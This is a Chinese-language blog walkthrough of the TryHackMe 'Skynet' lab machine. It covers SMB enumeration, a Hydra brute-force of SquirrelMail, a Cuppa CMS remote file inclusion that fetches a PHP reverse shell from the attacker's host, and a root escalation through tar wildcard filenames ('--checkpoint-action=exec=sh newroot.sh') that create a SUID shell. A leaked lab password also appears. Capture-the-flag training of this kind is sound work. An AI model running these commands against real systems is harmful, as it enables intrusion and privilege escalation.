首页 > 其他分享 >TryHackMe | Skynet

TryHackMe | Skynet

时间:2023-07-14 21:22:51浏览次数:49  
标签:文件 http milesdyson checkpoint Skynet 10.10 php TryHackMe

TryHackMe | Skynet

信息收集

nmap枚举,139/445端口开放,可知目标机开启了SMB服务

image-20230714170028297

dirsearch扫描

image-20230714170229646

Task 1 Deploy and compromise the vulnerable machine!

枚举SMB共享

smbclient -L \\ip
或者输入 enum4linux -S $ip
 

密码那里直接按回车就行

获取到一些可能能访问的SMB服务账号:anonymous、milesdyson

image-20230714170444376

smbclient //10.10.90.106/anonymous

连接后获取这些共享文件

image-20230714172045088

>cat attention.txt 
A recent system malfunction has caused various passwords to be changed. All skynet employees are required to change their password after seeing this.
-Miles Dyson

意思就是要员工更改密码,然后我们看到这个发送信息的人的名字,是不是跟我们另外一个共享milesdyson一样
那也就是说,管理员账户为milesdyson

log23.txt都是空的,log1.txt可能是一个密码记录

image-20230714172236763

那么该怎么拿到管理员密码呢,所以这时候我们得换个地方找思路

我们还有一个之前的dirsearch扫描,有个二级目录/squirrelmail很奇特,访问一下

是一个邮箱后台登入网页

image-20230714172706663

使用Hydra 爆破上图中的邮件服务器登录页面

随便试试登入一下

image-20230714173033290

然后可以看到请求是

login_username=admin&secretkey=admin&js_autodetect_results=1&just_logged_in=1
 

那么我们就可以构造payload去爆破

hydra -l milesdyson -P log1.txt 10.10.90.106 http-form-post "/squirrelmail/src/redirect.php:login_username=milesdyson&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:F=Unknown User or password incorrect."

Argument Description
-l 指定破解的用户,对特定用户破解
-L 指定用户名字典
-l Displays only listening sockets 仅显示侦听套接字
-P 指定密码字典

然后跑出来了结果

image-20230714174112147

爆破出的账号密码登入

image-20230714174157640

有个smb password邮件,打开就可以看到跟新后的密码

image-20230714174240680

接着就可以去登入smb

smbclient -U milesdyson //10.10.90.106/milesdyson
#密码:)s{A&2Z=F^n_E.B`

 

有个important.txt,抓来看看

image-20230714174557195

得到一个隐藏的二级目录

image-20230714174646438

打开后没啥信息,对这个二级目录再扫描一次

gobuster dir -u http://10.10.90.106/45kra24zxs28v3yd/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --no-error
dirsearch -u http://10.10.90.106/45kra24zxs28v3yd/
 

又有后台了

image-20230714175111186

http://10.10.90.106/45kra24zxs28v3yd/administrator/

打开是一个cuppa CMS

image-20230714175223967

然后再exploit上搜索cuppa相关漏洞,找到了一个文件包含漏洞

image-20230714181044730

漏洞点如下

image-20230714202504468

所以payload构造如下,远程文件包含
http://10.10.143.7/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://ip/php-reverse-shell.php 
//http://10.10.143.7/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.17.58.33/php-reverse-shell.php 
 

php-reverse-shell下载地址

记得修改一下文件里面的ip

image-20230714203259874

然后python运行http服务,本机监听端口

image-20230714203404172

执行完payload后

image-20230714203541154

image-20230714203902490

提权

这个是看佬的博客学到的一个转shell方式

which python #验证目标机有无Python环境
python -c "import pty ; pty.spawn('/bin/bash')" 
#利用Python环境将当前shell切换为一个更稳定的shell
 

image-20230714204304218

我们查看一下backup文件夹内文件内容

image-20230714204422521

image-20230714204549976

backup.sh内容和作用是--切换目录至/var/www/html 并将该目录下的所有内容归档为backup.tgz压缩文件,该tgz文件保存在backups目录下;
通过查看/etc/crontab即定时任务可知,backup.sh文件是一个定时任务,该文件每分钟都会以root身份执行。
 

那么我们是不是可以在文件名字上动一下手脚,让压缩执行时候执行我们的恶意代码

我们发现通过tar命令可以利用一个名为checkpoint的参数,checkpoint还可以与 checkpoint-action 标志串联使用,checkpoint-action标志允许在到达检查点(checkpoint)时以二进制或脚本的形式执行某些操作。

backup.sh脚本中使用的通配符*将对 /var/www/html 目录中的所有文件和文件夹执行归档命令,因此我们可以通过在/var/www/html下添加 –checkpoint=1 文件(启用检查点功能)和 –checkpoint-action=exec=xxx 文件

那么当 tar 处理到以上文件时,相关的文件名将会被有效地视为tar命令的参数--从而执行某些操作。

首先我们先创建一个需要被执行的文件

echo "cp /bin/bash /tmp/nroot && chmod +s /tmp/nroot" > newroot.sh
 

然后在/var/www/html目录下执行命令创建以下两个文件,这两个文件的实际作用是以文件名作为 tar 命令行中的参数:

touch "/var/www/html/--checkpoint=1"
touch "/var/www/html/--checkpoint-action=exec=sh newroot.sh"
 

image-20230714210339428

大约一分钟后,cron 计划作业(即backups目录下的backup.sh脚本)将会以root权限自动运行,从而能够成功创建一个SUID文件(/tmp/nroot)我们可以使用 -p 标志执行该SUID文件

image-20230714210501069

 

image-20230714210604032



标签:文件,http,milesdyson,checkpoint,Skynet,10.10,php,TryHackMe
From: https://www.cnblogs.com/l0vehzzz/p/17555017.html

相关文章

  • TryHackMe | HackPark Writeup
    TryHackMe|HackParkWriteup可以用autorecon进行波信息收集,可以自动联动nmap和gobuster,但是扫的时间很久所以我就直接拿nmap扫了可以看到俩个开放端口803389Task1DeploythevulnerableWindowsmachine Whatsthenameoftheclowndisplayedonthehomepage?......
  • TryHackMe | Alfred Writeup
    TryHackMe|AlfredWriteupTask1InitialAccess1.1Howmanyportsareopen?nmap-sC-sV-AIP 明显3个开放端口1.2-Whatistheusernameandpasswordfortheloginpanel(intheformatusername:password)问我们登入的账号密码是啥研究了半天不知道密码......
  • TryHackMe | KenobiWriteup
    TryHackMe|KenobiWriteupTask1DeploythevulnerablemachineScanthemachinewithnmap,howmanyportsareopen?运行下nmap一眼就是7个Task2EnumeratingSambaforsharesSamba是适用于和Unix的标准Windows互操作性程序套件。它允许最终用户访问和使......
  • THM-Skynet(天网)
    侦查对靶机进行端口扫描开放有445\文件共享服务,使用nmap枚举该服务共享的文件夹nmap--script=smb-enum-users,smb-enum-shares-p44510.10.46.75枚举出两个重要的目录anonymous、milesdyson也可以使用smbclient-L//10.10.46.75该命令进行枚举访问anonymous任何人都......
  • tryhackme_nmap
    https://www.cnblogs.com/-Lucky-/p/17100073.htmlNmap基本端口扫描nmap中考虑的端口状态Open:表示服务正在侦听指定端口。Closed:表示没有服务在指定端口上侦听,尽管该端......
  • tryhackme-Daily Bugle
    靶场链接:https://tryhackme.com/room/dailybugle枚举端口nmap-sV-p--vvip直接访问网址,就可以知道第一题是什么了通过dirsearch搜索,可以看到README.txt,得知是Joo......
  • tryhackme-wreath
    10.200.87.200->10.200.87.150->10.200.87.100通过扫描10.200.87.200发现其10000端口上开放了webmin服务查询历史漏洞发现了一个远程命令执行漏洞CVE-2019-15107gi......
  • 【THM】Skynet-练习
    THM-Skynet-练习本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/skynet通过学习相关知识点:攻破目标靶机并完成提权操作。部署并渗透目标机器step1使用Nm......
  • skynet启动时读取配置文件
    新入门skynet系列视频b站网址https://www.bilibili.com/video/BV19d4y1678Xskynet启动时读取配置文件行11skynet启动时,我们启动了一个lua虚拟机,这个虚拟机是在整个......
  • 5-skynet.newservice创建snlua服务
    新入门skynet系列视频b站网址https://www.bilibili.com/video/BV19d4y1678X#skynet.newservice创建snlua服务之前讲服务间请求和响应的时候,我们在main服务里启动了......